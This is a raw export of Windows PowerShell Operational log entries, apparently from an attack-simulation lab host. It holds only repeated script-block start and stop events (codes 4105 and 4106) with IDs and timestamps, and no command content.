SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032441
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032436
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032435
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032413
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032412
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032411
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032410
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
